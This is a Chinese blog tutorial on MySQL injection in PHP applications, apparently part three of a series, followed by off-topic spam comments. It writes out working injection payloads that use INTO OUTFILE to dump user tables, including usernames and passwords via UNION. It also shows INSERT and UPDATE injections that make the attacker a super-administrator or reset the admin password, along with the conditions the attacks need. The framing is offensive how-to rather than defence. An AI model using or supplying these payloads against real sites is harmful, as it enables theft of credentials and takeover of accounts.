php+mysql注入分析讲解(三)
08 / 07 / 2009 admin

三、导出文件

  这个是比较容易构造但又有一定限制的技术,我们经常可以看见以下的SQL语句:

select * from table into outfile “c:/file.txt”
select * from table into outfile “/var/www/file.txt”
 

  但这样的语句,一般很少用在程序里,有谁会把自己的数据导出呢?除非是备份,但我也没有见过这种备份法。所以我们要自己构造,但必须有下面的前提条件:

必须导出到能访问的目录,这样才能下载。 
能访问的目录必须要有可写的权限,否则导出会失败。 
确保硬盘有足够的容量能容下导出的数据,这个很少见。 
确保要已经存在相同的文件名,会导致导出失败,并提示:“File “c:/file.txt” already exists”,这样可以防止数据库表和文件例如/etc/passwd被破坏。 
  我们继续用上面的user.php和show.php两个文件举例,如果一个一个用户猜解实在是太慢了,如果对方的密码或者其他敏感信息很复杂,又不会写Exploit,要猜到什么时候啊?来点大范围的,直接导出全部数据好了。user.php文件的查询语句,我们按照into outfile的标准格式,注入成下面的语句就能导出我们需要的信息了:

SELECT * FROM user WHERE username=”$username” into outfile “c:/file.txt”
 

  知道怎么样的语句可以实现我们的目的,我们就很容易构造出相应的语句:

http://127.0.0.1/injection/user.php?username=angel” into outfile “c:/file.txt
 

  出现了错误提示,但从返回的语句看来,我们的SQL语句确实是注入正确了,即使出现错误,也是查询的问题了,文件还是乖乖的被导出了,如图:

  由于代码本身就有WHERE来指定一个条件,所以我们导出的数据仅仅是满足这个条件的数据,如果我们想导出全部呢?其实很简单,只要使这个WHERE条件为假,并且指定一个成真的条件,就可以不用被束缚在WHERE里了,来看看经典1=1发挥作用了:

http://127.0.0.1/injection/user.php?username=” or 1=1 into outfile “c:/file.txt
 

  实际的SQL语句变为:

SELECT * FROM user WHERE username=” or 1=1 into outfile “c:/file.txt”
 

  这样username的参数是空的,就是假了,1=1永远是真的,那or前面的WHERE就不起作用了,但千万别用and哦,否则是不能导出全部数据的。
  既然条件满足,在这种情况下就直接导出所有数据!如图:

  但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合查询,所以一切前提条件都应该和UNION、导出数据一样,跨表导出数据正常情况下应该相下面的一样:

SELECT * FROM article WHERE articleid=”1″ union select 1,username,password from user into outfile “c:/user.txt”
 

  这样可以导出文件了,如果我们要构造就提交:

http://127.0.0.1/injection/show.php?id=1″ union select 1,username,password from user into outfile “c:/user.txt
 

  文件是出来了,可是有一个问题,由于前面的查询articleid=”1″为真了,所以导出的数据也有整个文章的一部分,如图:

  所以我们把应该使前面的查询语句为假,才能只导出后面查询的内容,只要提交:

http://127.0.0.1/injection/show.php?id=” union select 1,username,password from user into outfile “c:/user.txt
 

  这样才能得到我们想要的资料:

  值得注意的是想要导出文件,必须magic_quotes_gpc没有打开,并且程序也没有用到addslashes()函数,还有不能对单引号做任何过滤,因为我们在提交导出路径的时候,一定要用引号包含起来,否则,系统不会认识那是一个路径,也不用尝试用char()或者什么函数,那是徒劳。

INSERT

  如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了,其实还有两个危害更大的操作,那就是INSERT和UPDATE语句,这类例子不多,先面先说说INSERT,这主要应用于改写插入的数据,我们来看个简单而又广泛存在的例子,看看下面的数据结构:

CREATE TABLE `user` (
`userid` INT NOT NULL AUTO_INCREMENT ,
`username` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 50 ) NOT NULL ,
`homepage` VARCHAR( 255 ) NOT NULL ,
`userlevel` INT DEFAULT “1” NOT NULL ,
PRIMARY KEY ( `userid` )
);
 

  其中的userlevel代表用户的等级,1是普通用户,2是普通管理员,3是超级管理员,一个注册程序默认是注册成普通用户,如下:

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (“, “$username”, “$password”, “$homepage”, “1”);
 

  默认userlevel字段是插入1,其中的变量都是没有经过过滤就直接写入数据库的,不知道大家有什么想法?对,就是直接注入,使我们一注册就是超级管理员。我们注册的时候,构造$homepage变量,就可以达到改写的目的,指定$homepage变量为:

http://4ngel.net”, “3’)#
 

  插入数据库的时候就变成:

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (“, “angel”, “mypass”, “http://4ngel.net”, “3’)#”, “1”);
 

  这样就注册成为超级管理员了。但这种利用方法也有一定的局限性,比如,我没有需要改写的变量如userlevel字段是数据库的第一个字段,前面没有地方给我们注入,我们也没有办法了。
或许INSERT还有更广泛的应用,大家可以自行研究,但原理都是一样的。

UPDATE

  和INSERT相比,UPDATE的应用更加广泛,如果过滤不够,足以改写任何数据,还是拿刚才的注册程序来说,数据结构也不变,我们看一下用户自己修改自己的资料,SQL语句一般都是这样写的:

UPDATE user SET password=”$password”, homepage=”$homepage” WHERE id=”$id”
 

  用户可以修改自己的密码和主页,大家有什么想法?总不至于还是提升权限吧?程序中的SQL语句又没有更新userlevel字段,怎么提升啊?还是老办法,构造$homepage变量, 指定$homepage变量为:

http://4ngel.net”, userlevel=”3
 

  整个SQL语句就变成这样:

UPDATE user SET password=”mypass”, homepage=”http://4ngel.net”, userlevel=”3″ WHERE id=”$id”
 

  我们是不是又变成超级管理员了?程序不更新userlevel字段,我们自己来。
还有更加绝的,直接修改任意用户的资料,还是刚才的例句,但这次安全一点,使用MD5加密:

UPDATE user SET password=”MD5($password)”, homepage=”$homepage” WHERE id=”$id”
 

  尽管密码被加密了,但我们还是可以构造我们需要的语句,我们指定$password为:

mypass)” WHERE username=”admin”#
 

  这时整个语句变为:

UPDATE user SET password=”MD5(mypass)” WHERE username=”admin”#)”, homepage=”$homepage” WHERE id=”$id”
 

  这样就更改了更新的条件,我管你后面的代码是不是在哭这说:我们还没有执行啊。当然,也可以从$id下手,指定$id为:

” OR username=”admin”
 

  这时整个语句变为:

UPDATE user SET password=”MD5($password)”, homepage=”$homepage” WHERE id=” OR username=”admin”
 

  照样也可以达到修改的目的,所以说注入是非常灵活的技术。如果有些变量是从数据库读取的固定值,甚至用$_SESSION[“username”]来读取服务器上的SESSION信息时,我们就可以在原来的WHERE之前自己构造WHERE并注释掉后面的代码,由此可见,灵活运用注释也是注入的技巧之一。这些技巧把注入发挥得淋漓尽致。不得不说是一种艺术。
  变量的提交方式可以是GET或POST,提交的位置可以是地址栏、表单、隐藏表单变量或修改本地COOKIE信息等,提交的方式可以是本地提交,服务器上提交或者是工具提交,多种多样就看你如何运用了。

 

  1. Hey I know this is off topic but I was wondering if you knew of any widgets I
    could add to my blog that automatically tweet my
    newest twitter updates. I’ve been looking for a plug-in like this for quite some time and was hoping maybe you would have some experience with something like this. Please let me know if you run into anything. I truly enjoy reading your blog and I look forward to your new updates.

  2. Hello, constantly i used to check web site posts here
    early in the daylight, since i enjoy to find out more and more.

  3. "Never delete anh.ting".y. I reached 24gbs yesterday.. I am running out very quickly, Please allow for more space to be purchased… Free Gmail users can and that makes me feel like just forwarding over all emails to gmail and completely circumventing my Google Apps acct that I was so happy to create. Now its just a forwarding tool. Come on Google release the space!